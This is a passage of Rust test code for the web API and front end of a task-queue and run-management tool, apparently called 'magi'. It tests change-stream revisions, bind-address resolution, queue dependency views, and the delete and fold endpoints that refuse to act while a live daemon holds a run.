16875 "questions_rev",
16876 "talks_rev",
16877 "notifications_rev",
16878 "loop_rev",
16879 ] {
16880 assert!(
16881 health[key].is_u64(),
16882 "health is the change stream's fallback and is missing `{key}`: {health}"
16883 );
16884 }
16885 }
16886
16887 #[tokio::test]
16888 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
16889 let f = Fixture::start().await;
16890 let before = f.get("/api/health").await.json()["talks_rev"]
16891 .as_u64()
16892 .expect("talks_rev");
16893
16894 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
16895 std::thread::sleep(Duration::from_millis(10));
16896 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
16897 on_disk.turns.push(crate::talk::Turn {
16898 breaks: Some(Vec::new()),
16899 messages: Vec::new(),
16900 posted_by: None,
16901 who: crate::talk::Who::Operator,
16902 body: "a new turn".to_owned(),
16903 at: Timestamp::now(),
16904 attachments: Vec::new(),
16905 usage: None,
16906 });
16907 f.talks().put(&mut on_disk).expect("record a turn");
16908
16909 let after = f.get("/api/health").await.json()["talks_rev"]
16910 .as_u64()
16911 .expect("talks_rev");
16912 assert_ne!(
16913 before, after,
16914 "a phone must be able to notice a talk's reply without polling every store"
16915 );
16916 }
16917
16918 #[test]
16919 fn bind_reads_back_from_the_spelling_the_cli_prints() {
16920 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
16924 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
16925 }
16926 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
16927 assert!("everywhere".parse::<Bind>().is_err());
16928 }
16929
16930 #[test]
16931 fn an_explicit_bind_address_is_taken_verbatim() {
16932 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
16933
16934 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
16935
16936 assert_eq!(addr, asked);
16937 assert!(
16938 warning.is_none(),
16939 "an operator who named an address gets no lecture"
16940 );
16941 }
16942
16943 #[test]
16944 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
16945 let (addr, warning) = resolve_bind(&Bind::Auto);
16946
16947 match addr {
16954 IpAddr::V4(ip) if is_tailnet(&ip) => {
16955 assert!(warning.is_none(), "a tailnet address needs no warning");
16956 }
16957 other => {
16958 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
16959 let warning = warning.expect("a fallback has to explain itself");
16960 assert!(
16961 warning.contains("127.0.0.1") && warning.contains("local-only"),
16962 "the warning says what happened and what it costs: {warning}"
16963 );
16964 }
16965 }
16966 }
16967
16968 #[test]
16969 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
16970 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
16974 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
16975 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
16976 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
16977 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
16978 }
16979
16980 #[test]
16981 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
16982 let ids = vec![
16983 "20260902-140501-aaaa".to_owned(),
16984 "20260902-140502-aabb".to_owned(),
16985 ];
16986
16987 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
16988 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
16989 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
16990
16991 assert_eq!(missing.status, StatusCode::NOT_FOUND);
16992 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
16993 assert_eq!(short, "20260902-140502-aabb");
16994 }
16995 #[tokio::test]
16996 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
16997 let fx = Fixture::start().await;
17003 let id = panel(
17004 &fx,
17005 "<img src=\"shot.png\">",
17006 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
17007 );
17008
17009 let doc = fx
17011 .get(&format!("/api/questions/{id}/panel/index.html"))
17012 .await;
17013 assert_eq!(doc.status, 200, "{}", doc.body);
17014 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
17015
17016 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
17017 assert_eq!(sibling.status, 200, "{}", sibling.body);
17018 assert_eq!(sibling.header("content-type"), Some("image/png"));
17019 assert_eq!(
17020 sibling.header("content-security-policy"),
17021 Some(PANEL_CSP),
17022 "the sibling route must carry the same policy as the asset route"
17023 );
17024
17025 assert_eq!(
17028 fx.head(&format!("/api/questions/{id}/panel")).await.status,
17029 200
17030 );
17031 }
17032
17033 #[test]
17034 fn delta_stamps_cover_add_update_remove_and_noop() {
17035 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
17036 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
17037 let delta = diff_stamps(&before, &after, 42);
17038 assert_eq!(delta.base, 42);
17039 assert_eq!(delta.changed, ["b", "c"]);
17040 assert_eq!(delta.removed, ["a"]);
17041 let same = diff_stamps(&after, &after, 43);
17042 assert!(same.changed.is_empty() && same.removed.is_empty());
17043 assert_ne!(stamps_revision(&before), stamps_revision(&after));
17044 let nanos: Stamps = [("b".into(), (2, 20))].into();
17045 let same_ms: Stamps = [("b".into(), (3, 20))].into();
17046 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
17047 assert_eq!(stamps_revision(&Stamps::new()), 0);
17048 }
17049
17050 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
17051 std::fs::create_dir_all(home.join("runs")).unwrap();
17052 Arc::new(Ui::new(
17053 Queue::at(home.join("queue")),
17054 Questions::at(home.join("questions")),
17055 Talks::at(home.join("talks")),
17056 home.join("runs"),
17057 home.to_owned(),
17058 PathBuf::from("/repo/magi"),
17059 ))
17060 }
17061
17062 #[tokio::test]
17063 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
17064 let home = TempDir::new().unwrap();
17065 let ui = delta_test_ui(home.path());
17066 let mut task = Task::new(
17067 "stream task".into(),
17068 "text".into(),
17069 PathBuf::from("/repo"),
17070 Source::Human,
17071 );
17072 ui.queue.put(&mut task).unwrap();
17073 let response = events(State(ui.clone())).await.into_response();
17074 let mut stream = response.into_body().into_data_stream();
17075 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
17076 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
17077 .await
17078 .unwrap()
17079 .unwrap()
17080 .unwrap();
17081 let text = String::from_utf8(chunk.to_vec()).unwrap();
17082 let data = text
17083 .lines()
17084 .find_map(|line| {
17085 line.strip_prefix("data: ")
17086 .or_else(|| line.strip_prefix("data:"))
17087 })
17088 .unwrap();
17089 serde_json::from_str(data).unwrap()
17090 }
17091 let initial = change(&mut stream).await;
17092 assert!(initial.get("queue_delta").is_none());
17093 task.instruction.push_str(" changed");
17094 ui.queue.put(&mut task).unwrap();
17095 let updated = change(&mut stream).await;
17096 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
17097 assert_eq!(
17098 updated["queue_delta"]["changed"],
17099 serde_json::json!([task.id])
17100 );
17101 assert_eq!(
17102 updated["queue_rev"].as_u64(),
17103 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
17104 );
17105 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
17106 let removed = change(&mut stream).await;
17107 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
17108 assert_eq!(
17109 removed["queue_delta"]["removed"],
17110 serde_json::json!([task.id])
17111 );
17112 }
17113
17114 #[tokio::test]
17115 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
17116 let home = TempDir::new().unwrap();
17117 let ui = delta_test_ui(home.path());
17118 let queue = ui.queue.clone();
17119 let query = |ids: Option<&str>| {
17120 Query(ListQuery {
17121 limit: Some(2),
17122 ids: ids.map(str::to_owned),
17123 })
17124 };
17125 let mut root = Task::new(
17126 "root".into(),
17127 "instruction".into(),
17128 PathBuf::from("/repo"),
17129 Source::Human,
17130 );
17131 queue.put(&mut root).unwrap();
17132 let mut blocked = Task::new(
17133 "blocked".into(),
17134 "instruction".into(),
17135 PathBuf::from("/repo"),
17136 Source::Human,
17137 );
17138 blocked.block(vec![root.id.clone()], None);
17139 queue.put(&mut blocked).unwrap();
17140 let whole =
17141 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
17142 .unwrap();
17143 let subset = serde_json::to_value(
17144 queue_list(State(ui.clone()), query(Some(&root.id)))
17145 .await
17146 .unwrap()
17147 .0,
17148 )
17149 .unwrap();
17150 assert_eq!(whole, subset, "requested root plus its blocked dependent");
17151 let blockers = serde_json::to_value(
17152 queue_list(State(ui.clone()), query(Some("")))
17153 .await
17154 .unwrap()
17155 .0,
17156 )
17157 .unwrap();
17158 assert_eq!(blockers.as_array().unwrap().len(), 1);
17159 assert_eq!(blockers[0]["id"], blocked.id);
17160 assert_eq!(
17161 blockers[0]["waits_on"],
17162 whole
17163 .as_array()
17164 .unwrap()
17165 .iter()
17166 .find(|row| row["id"] == blocked.id)
17167 .unwrap()["waits_on"]
17168 );
17169
17170 for id in [
17171 "20260902-140501-aaaa",
17172 "20260902-140502-bbbb",
17173 "20260902-140503-cccc",
17174 ] {
17175 write_run(&ui.runs, id, RunStatus::Merged);
17176 }
17177 let old = serde_json::to_value(
17178 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
17179 .await
17180 .unwrap()
17181 .0,
17182 )
17183 .unwrap();
17184 assert!(
17185 old.as_array().unwrap().is_empty(),
17186 "older updates must not enter the window"
17187 );
17188 let newest = serde_json::to_value(
17189 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
17190 .await
17191 .unwrap()
17192 .0,
17193 )
17194 .unwrap();
17195 assert_eq!(newest.as_array().unwrap().len(), 1);
17196 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
17197
17198 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
17199 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
17200 let talks = serde_json::to_value(
17201 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
17202 .await
17203 .unwrap()
17204 .0,
17205 )
17206 .unwrap();
17207 assert_eq!(talks.as_array().unwrap().len(), 1);
17208 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
17209 assert_eq!(
17210 serde_json::to_value(
17211 talks_list(State(ui.clone()), query(Some("")))
17212 .await
17213 .unwrap()
17214 .0
17215 )
17216 .unwrap(),
17217 serde_json::json!([])
17218 );
17219 }
17220
17221 #[tokio::test]
17222 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
17223 async fn delta_payload_benchmark() {
17224 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
17225 let ui = delta_test_ui(&home);
17226 let query = |ids: Option<String>| {
17227 Query(ListQuery {
17228 limit: Some(50),
17229 ids,
17230 })
17231 };
17232 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
17233 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
17234 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
17235 let queue_id = queue
17236 .iter()
17237 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
17238 .unwrap_or(&queue[0])
17239 .task
17240 .id
17241 .clone();
17242 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
17243 .await
17244 .unwrap()
17245 .0;
17246 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
17247 .await
17248 .unwrap()
17249 .0;
17250 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
17251 .await
17252 .unwrap()
17253 .0;
17254 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
17255 eprintln!(
17256 "DELTA_PAYLOAD {}",
17257 serde_json::json!({
17258 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
17259 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
17260 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
17261 "counts": [queue.len(), runs.len(), talks.len()],
17262 "blocked": queue_delta.len() - 1,
17263 })
17264 );
17265 }
17266
17267 #[test]
17268 fn runs_revision_moves_when_deleting_an_older_run() {
17269 let temp = TempDir::new().expect("tempdir");
17270 let runs = temp.path().join("runs");
17271 std::fs::create_dir_all(&runs).expect("create runs dir");
17272
17273 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
17274
17275 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
17276 std::thread::sleep(Duration::from_millis(10));
17277 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
17278
17279 let rev_before = runs_revision(&runs);
17280 assert!(rev_before > 0);
17281
17282 let old_dir = runs.join("20260901-100000-old1");
17283 std::fs::remove_dir_all(&old_dir).expect("remove old run");
17284
17285 let rev_after = runs_revision(&runs);
17286 assert_ne!(
17287 rev_before, rev_after,
17288 "deleting an older run must change the revision so other clients see the deletion"
17289 );
17290 }
17291
17292 fn write_state(runs: &FsPath, state: &RunState) {
17297 let dir = runs.join(&state.id);
17298 std::fs::create_dir_all(&dir).expect("run dir");
17299 std::fs::write(
17300 dir.join("run.json"),
17301 serde_json::to_string_pretty(state).expect("serialize run"),
17302 )
17303 .expect("write run.json");
17304 }
17305
17306 #[test]
17311 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
17312 let temp = TempDir::new().expect("tempdir");
17313 let runs = temp.path().join("runs");
17314 std::fs::create_dir_all(&runs).expect("create runs dir");
17315 let mut state = RunState::new(
17316 PathBuf::from("/repo/magi"),
17317 "main".to_owned(),
17318 "0123456789abcdef".to_owned(),
17319 "task".to_owned(),
17320 Config::default(),
17321 );
17322 state.id = "20260902-100000-c0de".to_owned();
17323 write_state(&runs, &state);
17324
17325 let rev_idle = runs_revision(&runs);
17326 std::thread::sleep(Duration::from_millis(10));
17327 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
17328 write_state(&runs, &state);
17329 let rev_started = runs_revision(&runs);
17330 assert_ne!(
17331 rev_idle, rev_started,
17332 "a seat starting must move the revision"
17333 );
17334
17335 std::thread::sleep(Duration::from_millis(10));
17336 state.seat_finished("judge-1");
17337 write_state(&runs, &state);
17338 let rev_finished = runs_revision(&runs);
17339 assert_ne!(
17340 rev_started, rev_finished,
17341 "and clearing it again must move the revision a second time"
17342 );
17343 }
17344
17345 #[tokio::test]
17346 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
17347 let fx = Fixture::start().await;
17352 let q = fx.queue();
17353
17354 let mut t = Task::new(
17355 "Task".to_owned(),
17356 "Instruction".to_owned(),
17357 PathBuf::from("/repo"),
17358 Source::Human,
17359 );
17360 t.block(
17361 vec!["20260101-000000-dead".to_owned()],
17362 Some("waiting on Task 1".to_owned()),
17363 );
17364 t.answers.push(crate::queue::AnsweredQuestion {
17365 question: "Which backend?".to_owned(),
17366 answer: "SQLite".to_owned(),
17367 });
17368 q.put(&mut t).expect("put t");
17369
17370 let res = fx.get("/api/queue").await;
17371 assert_eq!(res.status, 200);
17372 let list = res.json();
17373 let view = list
17374 .as_array()
17375 .expect("array")
17376 .iter()
17377 .find(|v| v["id"] == t.id)
17378 .expect("task in list");
17379 assert_eq!(view["status_str"], "blocked");
17380 assert_eq!(
17381 view["blocked_by"],
17382 serde_json::json!(["20260101-000000-dead"])
17383 );
17384 assert_eq!(view["block_reason"], "waiting on Task 1");
17385 assert_eq!(view["answers"][0]["question"], "Which backend?");
17386 assert_eq!(view["answers"][0]["answer"], "SQLite");
17387
17388 let res = fx
17392 .post(&format!("/api/queue/{}/hold", t.short()), None)
17393 .await;
17394 assert_eq!(res.status, 200);
17395 let held = res.json();
17396 assert_eq!(held["status_str"], "held");
17397 assert_eq!(held["blocked_by"], serde_json::json!([]));
17398 assert!(held["block_reason"].is_null());
17399 assert_eq!(held["answers"][0]["answer"], "SQLite");
17400 }
17401
17402 #[tokio::test]
17403 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
17404 let fx = Fixture::start().await;
17405 let q = fx.queue();
17406 let mk = |title: &str| {
17407 Task::new(
17408 title.to_owned(),
17409 "Instruction".to_owned(),
17410 PathBuf::from("/repo"),
17411 Source::Human,
17412 )
17413 };
17414 let mut root = mk("root");
17415 root.hold_manual(Some("waiting".to_owned()));
17416 q.put(&mut root).unwrap();
17417 let mut mid = mk("mid");
17418 mid.block(vec![root.id.clone()], None);
17419 q.put(&mut mid).unwrap();
17420 let mut leaf = mk("leaf");
17421 leaf.block(vec![mid.id.clone()], None);
17422 q.put(&mut leaf).unwrap();
17423
17424 let list = fx.get("/api/queue").await.json();
17425 let find = |id: &str| {
17426 list.as_array()
17427 .unwrap()
17428 .iter()
17429 .find(|v| v["id"] == id)
17430 .unwrap()
17431 .clone()
17432 };
17433 let leaf_view = find(&leaf.id);
17434 assert_eq!(
17435 leaf_view["waits_on"],
17436 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
17437 );
17438 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
17439 assert_eq!(
17440 find(&mid.id)["waits_on"],
17441 serde_json::json!([format!("{} (held)", root.short())])
17442 );
17443 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
17444 }
17445
17446 #[tokio::test]
17447 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
17448 let fx = Fixture::start().await;
17449 let q = fx.queue();
17450
17451 let mut t1 = Task::new(
17453 "Task 1".to_owned(),
17454 "Instruction 1".to_owned(),
17455 PathBuf::from("/repo"),
17456 Source::Human,
17457 );
17458 let run_id = "20260901-000000-r111";
17459 t1.runs.push(run_id.to_owned());
17460 write_run(&fx.runs(), run_id, RunStatus::Merged);
17461 q.put(&mut t1).expect("put t1");
17462
17463 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
17465 assert_eq!(res.status, 204);
17466 assert!(res.body.is_empty(), "204 No Content has no body");
17467 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
17468 assert!(
17469 fx.runs().join(run_id).exists(),
17470 "run directory must not be deleted when its task is deleted"
17471 );
17472
17473 let mut t2 = Task::new(
17475 "Task 2".to_owned(),
17476 "Instruction 2".to_owned(),
17477 PathBuf::from("/repo"),
17478 Source::Human,
17479 );
17480 t2.status = TaskStatus::Running;
17481 q.put(&mut t2).expect("put t2");
17482 let mut beat = crate::daemon::Status::new();
17483 beat.current = vec![crate::daemon::Current {
17484 task: t2.id.clone(),
17485 run: "20260901-000000-r222".to_owned(),
17486 }];
17487 beat.updated_at = jiff::Timestamp::now();
17488 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17489 .expect("publish a heartbeat");
17490 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
17491 assert_eq!(res.status, 409);
17492 assert!(
17493 res.json()["error"]
17494 .as_str()
17495 .unwrap()
17496 .contains("live daemon")
17497 );
17498 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
17499
17500 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
17506 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17507 .expect("leave a stale heartbeat");
17508 let mut t3 = Task::new(
17509 "Task 3".to_owned(),
17510 "Instruction 3".to_owned(),
17511 PathBuf::from("/repo"),
17512 Source::Human,
17513 );
17514 t3.status = TaskStatus::Running;
17515 q.put(&mut t3).expect("put t3");
17516 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
17517 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
17518 assert_eq!(res.status, 204);
17519 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
17520 assert!(
17521 q.claim(&t3.id).is_ok(),
17522 "the stale lock went with it, so the id is claimable again"
17523 );
17524
17525 let res = fx.delete("/api/queue/nonexistent").await;
17527 assert_eq!(res.status, 404);
17528 }
17529
17530 #[tokio::test]
17531 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
17532 let fx = Fixture::start().await;
17533 let runs = fx.runs();
17534
17535 let run_id = "20260901-000000-fold";
17537 let mut state = RunState::new(
17538 PathBuf::from("/repo"),
17539 "main".to_owned(),
17540 "abc".to_owned(),
17541 "instruction".to_owned(),
17542 Config::default(),
17543 );
17544 state.id = run_id.to_owned();
17545 state.status = RunStatus::Merged;
17546 state.candidates.push(crate::run::Candidate {
17547 index: 0,
17548 label: 'A',
17549 agent: "a".to_owned(),
17550 branch: "b".to_owned(),
17551 worktree: PathBuf::from("/w"),
17552 summary: String::new(),
17553 stat: String::new(),
17554 files: 1,
17555 commits: 1,
17556 empty: false,
17557 failed: None,
17558 verified_noop: None,
17559 duration_ms: 0,
17560 folded: true,
17561 });
17562 let dir = runs.join(run_id);
17563 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
17564 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
17565 .expect("write artifact");
17566 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
17567 .expect("write run.json");
17568
17569 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
17571 assert_eq!(res.status, 204);
17572 assert!(res.body.is_empty(), "204 has no body");
17573 assert!(!dir.exists(), "run directory and artifacts must be deleted");
17574
17575 let run_running = "20260901-000000-rung";
17580 write_run(&runs, run_running, RunStatus::Prep);
17581 let mut beat = crate::daemon::Status::new();
17582 beat.current = vec![crate::daemon::Current {
17583 task: "20260901-000000-task".to_owned(),
17584 run: run_running.to_owned(),
17585 }];
17586 beat.updated_at = jiff::Timestamp::now();
17587 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17588 .expect("publish a heartbeat");
17589 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
17590 assert_eq!(res.status, 409);
17591 assert!(
17592 res.json()["error"]
17593 .as_str()
17594 .unwrap()
17595 .contains("live daemon"),
17596 "the refusal must say who is holding it"
17597 );
17598 assert!(
17599 runs.join(run_running).exists(),
17600 "a run in flight keeps its directory"
17601 );
17602
17603 let run_unfolded = "20260901-000000-unfd";
17605 let mut state2 = RunState::new(
17606 PathBuf::from("/repo"),
17607 "main".to_owned(),
17608 "abc".to_owned(),
17609 "instruction".to_owned(),
17610 Config::default(),
17611 );
17612 state2.id = run_unfolded.to_owned();
17613 state2.status = RunStatus::Ready;
17614 state2.candidates.push(crate::run::Candidate {
17615 index: 0,
17616 label: 'A',
17617 agent: "a".to_owned(),
17618 branch: "b".to_owned(),
17619 worktree: PathBuf::from("/w"),
17620 summary: String::new(),
17621 stat: String::new(),
17622 files: 1,
17623 commits: 1,
17624 empty: false,
17625 failed: None,
17626 verified_noop: None,
17627 duration_ms: 0,
17628 folded: false,
17629 });
17630 let dir2 = runs.join(run_unfolded);
17631 std::fs::create_dir_all(&dir2).expect("create dir2");
17632 std::fs::write(
17633 dir2.join("run.json"),
17634 serde_json::to_string(&state2).unwrap(),
17635 )
17636 .expect("write run.json");
17637
17638 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
17639 assert_eq!(res.status, 409);
17640 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
17641 assert!(dir2.exists(), "unfolded run directory is kept");
17642
17643 let res = fx.delete("/api/runs/nonexistent").await;
17645 assert_eq!(res.status, 404);
17646 }
17647
17648 #[test]
17657 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
17658 let start = APP_JS
17659 .find("function renderStats() {")
17660 .expect("renderStats");
17661 let end = start
17662 + APP_JS[start..]
17663 .find("function statsTile(")
17664 .expect("the next top-level function");
17665 let body = &APP_JS[start..end];
17666
17667 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
17668 let gate_end = gate_start
17669 + body[gate_start..]
17670 .find("}\n renderStatsQueue")
17671 .expect("the gate's own closing brace, right before the unconditional call");
17672 let gated = &body[gate_start..gate_end];
17673
17674 assert_eq!(
17675 body.matches("renderStatsQueue(").count(),
17676 1,
17677 "renderStats must call renderStatsQueue exactly once: {body}"
17678 );
17679 assert!(
17680 !gated.contains("renderStatsQueue"),
17681 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
17682 run-derived panels on an empty run history - the queue panel has to render \
17683 regardless: {gated}"
17684 );
17685 }
17686
17687 #[test]
17688 fn web_ui_delete_contract_in_front_end() {
17689 assert!(APP_JS.contains("deleteRun:"));
17691 assert!(APP_JS.contains("deleteTask:"));
17692
17693 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
17695 ..APP_JS.find("function renderRuns").unwrap()];
17696 assert!(!run_cards_slice.to_lowercase().contains("delete"));
17697
17698 assert!(APP_JS.contains("renderRunDelete"));
17700 assert!(APP_JS.contains("runDeleteReason"));
17701 assert!(APP_JS.contains("magi fold"));
17702 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
17703
17704 assert!(APP_JS.contains("cancel.focus"));
17706 assert!(APP_JS.contains("armedRunDelete"));
17707 assert!(APP_JS.contains("renderTaskDeleteBox"));
17708 assert!(APP_JS.contains("armed${cap(key)}"));
17709
17710 assert!(APP_JS.contains("disabled: status === \"running\""));
17712 }
17713
17714 #[test]
17734 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
17735 let build = APP_JS
17736 .find("function createRunCard")
17737 .expect("createRunCard exists");
17738 let update = APP_JS
17739 .find("function updateRunCard")
17740 .expect("updateRunCard exists");
17741 let end = APP_JS
17742 .find("function renderRuns")
17743 .expect("renderRuns exists");
17744
17745 let builder = &APP_JS[build..update];
17747 let open = builder.find("refs = {").expect("createRunCard sets refs");
17748 let literal = &builder[open + "refs = {".len()..];
17749 let close = literal.find('}').expect("the refs literal is closed");
17750 let published: HashSet<&str> = literal[..close]
17751 .split(',')
17752 .filter_map(|entry| entry.split(':').next())
17754 .map(str::trim)
17755 .filter(|name| !name.is_empty())
17756 .collect();
17757 assert!(
17758 published.len() > 5,
17759 "the refs literal did not parse into names: {published:?}"
17760 );
17761
17762 let mut used: Vec<&str> = Vec::new();
17765 let updaters = &APP_JS[update..end];
17766 for (at, _) in updaters.match_indices("r.") {
17767 let before = updaters[..at].chars().next_back();
17770 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
17771 continue;
17772 }
17773 let rest = &updaters[at + 2..];
17774 let len = rest
17775 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
17776 .unwrap_or(rest.len());
17777 if len > 0 {
17778 used.push(&rest[..len]);
17779 }
17780 }
17781 assert!(
17782 used.len() > 5,
17783 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
17784 );
17785
17786 let missing: Vec<&str> = used
17787 .iter()
17788 .copied()
17789 .filter(|name| !published.contains(name))
17790 .collect();
17791 assert!(
17792 missing.is_empty(),
17793 "a run card's updater reaches for {missing:?}, which `createRunCard` \
17794 never put in `refs` - every card will throw and the list will \
17795 render empty under a count line that says otherwise. Published: \
17796 {published:?}"
17797 );
17798 }
17799
17800 #[tokio::test]
17801 async fn folding_from_the_phone_reports_what_it_removed() {
17802 let fx = Fixture::start().await;
17803 let runs = fx.runs();
17804
17805 let id = "20260901-000000-fold";
17809 write_run(&runs, id, RunStatus::Stalled);
17810 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17811 assert_eq!(res.status, 200);
17812 assert_eq!(res.json()["removed_count"], 0);
17813 assert_eq!(res.json()["run"], id);
17814 assert!(
17815 runs.join(id).exists(),
17816 "a fold keeps the run's record; only the worktrees go"
17817 );
17818 }
17819
17820 #[tokio::test]
17821 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
17822 let fx = Fixture::start().await;
17823 let runs = fx.runs();
17824 let wt = fx.home.path().join("wt").join("magi").join("dead");
17825 let id = "20260901-000000-dead";
17826 std::fs::create_dir_all(runs.join(id)).expect("run dir");
17827 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17828 std::fs::create_dir_all(&wt).expect("worktree dir");
17829
17830 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
17831 assert_eq!(res.status, 200, "{}", res.body);
17832 assert!(
17833 res.json()["removed_count"].as_u64().unwrap() > 0,
17834 "the worktree this build could not read a state for still went"
17835 );
17836 assert!(
17837 !runs.join(id).exists(),
17838 "an unreadable run has no candidate list to fold selectively, so \
17839 the whole record goes - same as `magi fold` on the CLI"
17840 );
17841 }
17842
17843 #[tokio::test]
17844 async fn deleting_an_unreadable_run_removes_it_wholesale() {
17845 let fx = Fixture::start().await;
17846 let runs = fx.runs();
17847 let wt = fx.home.path().join("wt").join("magi").join("gone");
17848 let id = "20260901-000000-gone";
17849 std::fs::create_dir_all(runs.join(id)).expect("run dir");
17850 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
17851 std::fs::create_dir_all(&wt).expect("worktree dir");
17852
17853 let res = fx.delete(&format!("/api/runs/{id}")).await;
17854 assert_eq!(res.status, 204, "{}", res.body);
17855 assert!(!runs.join(id).exists(), "the broken record is gone");
17856 assert!(!wt.exists(), "its worktree is gone too");
17857 }
17858
17859 #[tokio::test]
17860 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
17861 let fx = Fixture::start().await;
17862 let runs = fx.runs();
17863 let id = "20260901-000000-live";
17864 write_run(&runs, id, RunStatus::Implementing);
17865
17866 let mut beat = crate::daemon::Status::new();
17867 beat.current = vec![crate::daemon::Current {
